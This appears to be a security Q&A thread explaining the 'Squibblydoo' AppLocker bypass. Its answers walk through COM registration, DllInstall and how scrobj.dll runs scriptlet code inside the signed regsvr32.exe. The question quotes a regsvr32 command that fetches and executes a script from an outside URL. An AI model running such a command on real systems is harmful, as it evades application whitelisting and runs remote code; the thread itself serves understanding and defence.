I have read on a few blogs about a trick called "Squibblydoo", where the following command can bypass Windows' AppLocker:

regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll

Where the URL points to a script file that contains a command to open up Powershell (which, in the scenario, is blocked by AppLocker).

However, I tried it on a Win10 machine and it didn't work. Furthermore, I'm confused as to what this does exactly. All I know is that it is calling DllUninstall from a file in a server (but which also could be a local file) and it registers scrobj.dll (but I really don't understand the relationship here. What is scrobj.dll doing exactly?) and that for some reason makes the script in the file execute, which can then open an application blocked by AppLocker.


Regsvr32 is a trusted Microsoft binary.

The regsvr32 is a windows command line utility that is used to register and unregister .dll files and ActiveX controls into the registry. Casey Smith discovered that it is possible to bypass AppLocker script rules by calling the regsrv32 utility to execute a command or arbitrary code through .sct files. This utility has many benefits since it is a trusted Microsoft binary, proxy aware, it supports TLS encryption, it follows redirects and it doesn’t leave any trace on the disk.

So as its a signed Microsoft binary Applocker allows it to execute. The code in the SCT file (believe this doesnt have to be an SCT) executes when you unregister using the scrobj.dll

Scrobj.dll is used to register and unregister COM objects which is what is required to trigger this as the SCT is a COM object servlet doo-daa.

| improve this answer | |
  • 1
    Thank you for your answer! I still don't quite fully understand why the script executes when it is unregistered as a COM object. Could you please elaborate on that? Thanks! – Lucas Cioffi Apr 6 '18 at 17:25
  • bump request to elaborate I'm guessing that the scrobj.dll has register/unregister functions of which the unregister function takes a file path (or url) to a an sct as a parameter. i wonder how one would find others like this? – n00b Jul 12 '18 at 20:13

Brief introduction to COM

COM is a Microsoft standard for the binary layout of objects in memory.
This standard is independent of the programming language used though is similar to the well-known C++ virtual dispatching through the vtables.

Basically, COM consists of objects and interfaces.
Object are abstract entities, they are a collection of interfaces.
Interfaces are identified by an UUID (known as CLSID) and optionally a more user friendly Program ID (ProgID).
An interface consists of a set of methods and an eventual parent interface.

A programmer never uses objects, only interfaces. They have to somehow get a pointer to an interface and invoke its methods.
At the low level, an interface pointer is just a pointer to a vtable.

If the programmer already have a pointer to any interface of an object, it can get any other interface of the same object because all interfaces inherit from IUnknown that exposes a QueryInterface method.

However to get the first interface a side band mechanism is needed.
Particularly, the module where the object (interfaces) implementations reside must be loaded in the calling process address space (if it's an in-process server) or must be started and an IPC/Network channel established (if it's an out-of-process server).
All the work is handled by the CoGetClassObject API that given a CLSID will do all the hard work and return a pointer to the given interface (eventually through an in-process proxy).

Brief introduction to COM server registration

For CoGetClassObject to work it need to find the type of server and the associated module (DLL or EXE) from a CLSID or a ProgID.
This information is stored in the registry (Under HKCR and HKCR\CLSID), when missing a COM client will fail to invoke methods on the server.

It's the responsibility of the server module to create the right keys. Microsoft developed a convention (or it's a standard?) so that a programmer didn't need to conceive their self with the registration burden: A module will export DllRegisterServer and DllUnregisterServer and the installation wizard will call them for each COM component (EXE module may use different names, I don't remember).
The tools performing the registration is regsvr32.exe, when given the path of a COM module it will load the module and call one of those functions.

Optionally a module can export (DllInstall)[https://docs.microsoft.com/en-us/windows/desktop/api/shlwapi/nf-shlwapi-dllinstall] which is used to perform additional installation steps besides the pure COM registration.
This function accepts a boolean parameter to tell installation from uninstallation (note: there is no DllUninstall, the doc is wrong) and a string denoted as the "command line".
The implementation is free to use it however it wants.

When used with /i regsvr32 will call DllRegisterServer and then DllInstall with the given command line.
If /n is also passed, DllRegisterServer is not called (which implies that /n alone is not valid). If /i is not given DllInstall won't be called.
If /u is used, the uninstall path is taken (DllUnregisterServer and DllInstall with FALSE).
/s is for not showing message boxes.

Brief introduction to COM Scriptlet

Writing COM components is easy if you use VB6 or VC++ or Delphi but otherwise is painful.
To enable scripting languages to write COM component Micosoft introduced a new format for the COM server: the COM Scriptlets.

They are XML files with the source code and a bit of metadata.

<?XML version="1.0" ?>
<scriptlet validate="true" error="true" debug="true">

The metadata are just the ProgID, the CLSID and a description plus a version.
A full example is here.

The code inside the registration tag is executed as part of the server registration, unregistration process.


    <script language="JScript">



The scriptlet can (must?) also declare the methods of its COM interface.

The srcobj.dll

I don't know what srcobj.dll is used for in Windows.
I just fired up IDA and retrieved the DLL's debug symbols to see what's going on.

First, the DLL exports all the COM registration methods:


The DllInstall method, regardless of the bInstall parameter, will load the scriptlet given in the command line argument calling RegisterScriptlet


RegisterScriptlet will in turn create a ComScriptletSite object to get a ComScriptletConstructor to invoke LoadFromPath:

Scriptlet loading

The chain of call is a bit deep from here, it goes like this: LoadFromInput > ... > CompileScriptlet > ... > CompileRegistration.

Later the scriptlet registration code is executed as part of its initialisation.

The bypass

The net effect of loading a scriptlet is that some script code is executed in the context of regsvr32.exe (as part of the registration phase).
As regsvr32.exe is a trusted (signed?) executable, this bypass the Windows restriction on allowed executables (AppLocker).

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.